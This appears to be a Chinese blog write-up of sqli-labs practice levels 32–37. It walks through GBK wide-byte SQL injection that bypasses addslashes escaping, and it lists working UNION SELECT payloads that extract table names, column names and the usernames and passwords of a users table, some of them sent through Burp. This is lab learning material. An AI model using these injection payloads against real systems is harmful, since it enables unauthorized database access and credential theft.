less-32

閉合測試:

可以發現id後面的數字不管用什麼符號,都會被轉譯,在前面多一個反斜線。不過:

可以從上圖原始碼的第40行發現它是用GBK編碼。mysql數據庫在使用寬字節(GBK)編碼時,會認為兩個字符是一個漢字(前一個ascii碼要大於128(比如%df),才到漢字的範圍),而且當我們輸入單引號時,mysql會調用轉義函數,將單引號變為’,其中的十六進制是%5c,mysql的GBK編碼,會認為%df%5c是一個寬字節,也就是’運’,從而使單引號閉合(逃逸),進行注入攻擊。以下是轉譯過程:

%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’

用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql

加上%df後再來測測看閉合:

可以發現會出現錯誤,代表可以注入。而這一題是用單引號閉合(從上圖反藍應該可見一斑),可以實際試試看回顯位置:

其他的注入語句就跟less-1一樣,取代上圖反藍即可。但要注意不可用到單引號,所以一些慣用查詢語句要改一下,如果需要用單引號把資料庫或table或column的名字括起來,就改用16進位。

改成16進位方式如下圖,先把想改成16進位的東西反藍,再點下圖encoding,會出現下拉式選單:

接下來選Hexadecimal encode:

可以發現轉成16進位如下圖,記得要拿掉單引號,並在前面加0x:

成果如下:

上圖反藍處可替換成查詢語句如下:

#顯示目前DB
union select null,null,database()

#顯示security DB底下的table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = database()


#顯示security DB底下的users table的column名稱:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 0x7573657273


#顯示users table的password這個column的內容
union select null,group_concat(username),group_concat(password) FROM users

less-33

閉合測試

根據上圖,一樣是單引號閉合。

之後的查詢語句跟less-32完全一樣,但記得id=1要改成id=0,查詢語句要放在下圖反藍處:

less-35

雖然看上面的錯誤好像很複雜,但其實這一題是數值型注入,如下圖:

所以也不用考慮轉譯的問題,只要把下圖反藍給換成less-32最後面提到的查詢語句即可。

less-36

一樣會有轉譯如下圖:

可以發現即使加了%df,前面還是會被多append一個反斜線(5c):

less-34

輸入admin/admin之後的畫面:

同樣的,如果輸入單引號如下圖藍字,會發現一樣會多個反斜線如下圖反灰:

由於一些注入用hackbar會失敗,所以接下來用burp。

用一樣的思路,寬字節注入,帳號輸入admin%df' union select 1,2#

從上圖可以發現,%會被轉譯成%25,所以要把那25給拿掉。把上圖burp的request送到repeater後改一下:

可以發現拿掉25後(如上圖反藍)再送以後,就可以看到回顯點。

之後只要把上圖反藍處取代成查詢語句即可。如果想用less-32的也可以,但是要改一下,要刪掉一個null,。因為這一次只有兩欄。

less-37

做不出來


#sql injection: 注入字符被轉譯之解決方式(寬字符注入)







Related Posts

來學 React 吧之十_淺談測試

來學 React 吧之十_淺談測試

幕後花絮:Lidemy HTTP Challenge 的設計以及彩蛋

幕後花絮:Lidemy HTTP Challenge 的設計以及彩蛋

[心得] - Final Project 實作心得

[心得] - Final Project 實作心得


Comments